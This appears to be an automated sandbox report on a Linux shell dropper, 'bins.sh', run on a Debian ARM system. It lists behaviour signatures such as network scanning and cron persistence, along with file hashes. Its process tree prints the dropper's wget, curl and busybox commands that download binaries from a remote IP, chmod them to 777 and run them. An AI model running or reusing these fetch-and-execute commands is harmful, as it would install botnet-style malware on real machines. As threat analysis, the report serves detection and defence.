Analysis

  • max time kernel
    149s
  • max time network
    181s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    07/11/2024, 13:33

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241107-qthnrssmat
  • SHA256 a9ba59b335bab0e99dc96e1633a0cad0ec5b4bf2c58d1c95016438fb8a8c81b0
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Contacts a large (2035) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 2 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 6 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:645
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:647
        • /usr/bin/wget
          wget http://216.126.231.240/bins/QMAzb1MfLd6fuSKKfSAYa9Tl02JgKhHQqc
          2⤵
          • Writes file to tmp directory
          PID:649
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/QMAzb1MfLd6fuSKKfSAYa9Tl02JgKhHQqc
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:674
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/QMAzb1MfLd6fuSKKfSAYa9Tl02JgKhHQqc
          2⤵
          • Writes file to tmp directory
          PID:676
        • /bin/chmod
          chmod 777 QMAzb1MfLd6fuSKKfSAYa9Tl02JgKhHQqc
          2⤵
          • File and Directory Permissions Modification
          PID:682
        • /tmp/QMAzb1MfLd6fuSKKfSAYa9Tl02JgKhHQqc
          ./QMAzb1MfLd6fuSKKfSAYa9Tl02JgKhHQqc
          2⤵
          • Executes dropped EXE
          PID:684
        • /bin/rm
          rm QMAzb1MfLd6fuSKKfSAYa9Tl02JgKhHQqc
          2⤵
            PID:686
          • /usr/bin/wget
            wget http://216.126.231.240/bins/hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
            2⤵
            • Writes file to tmp directory
            PID:687
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:710
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
            2⤵
            • Writes file to tmp directory
            PID:727
          • /bin/chmod
            chmod 777 hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
            2⤵
            • File and Directory Permissions Modification
            PID:731
          • /tmp/hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
            ./hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:732
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:734
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:735
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:736
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      • Reads runtime system information
                      PID:737
                • /bin/rm
                  rm hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
                  2⤵
                    PID:739
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/kDXEkCP18WqMNpOrefkHtCYWV6GmVJND6y
                    2⤵
                      PID:743

                  Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        QMAzb1MfLd6fuSKKfSAYa9Tl02JgKhHQqc

                        • Path /tmp/QMAzb1MfLd6fuSKKfSAYa9Tl02JgKhHQqc
                        • Size 98KB
                        • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                        • MD5 SHA1 SHA512 SSDEEP

                        hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui

                        • Path /tmp/hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
                        • Size 177KB
                        • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                        • MD5 SHA1 SHA512 SSDEEP

                        tmp.s1J8Pp

                        • Path /var/spool/cron/crontabs/tmp.s1J8Pp
                        • Size 210B
                        • SHA256 7514543a3e1d8670d1485310f5109f52f8c47add15e73cffdc8a72f0adc15030
                        • MD5 SHA1 SHA512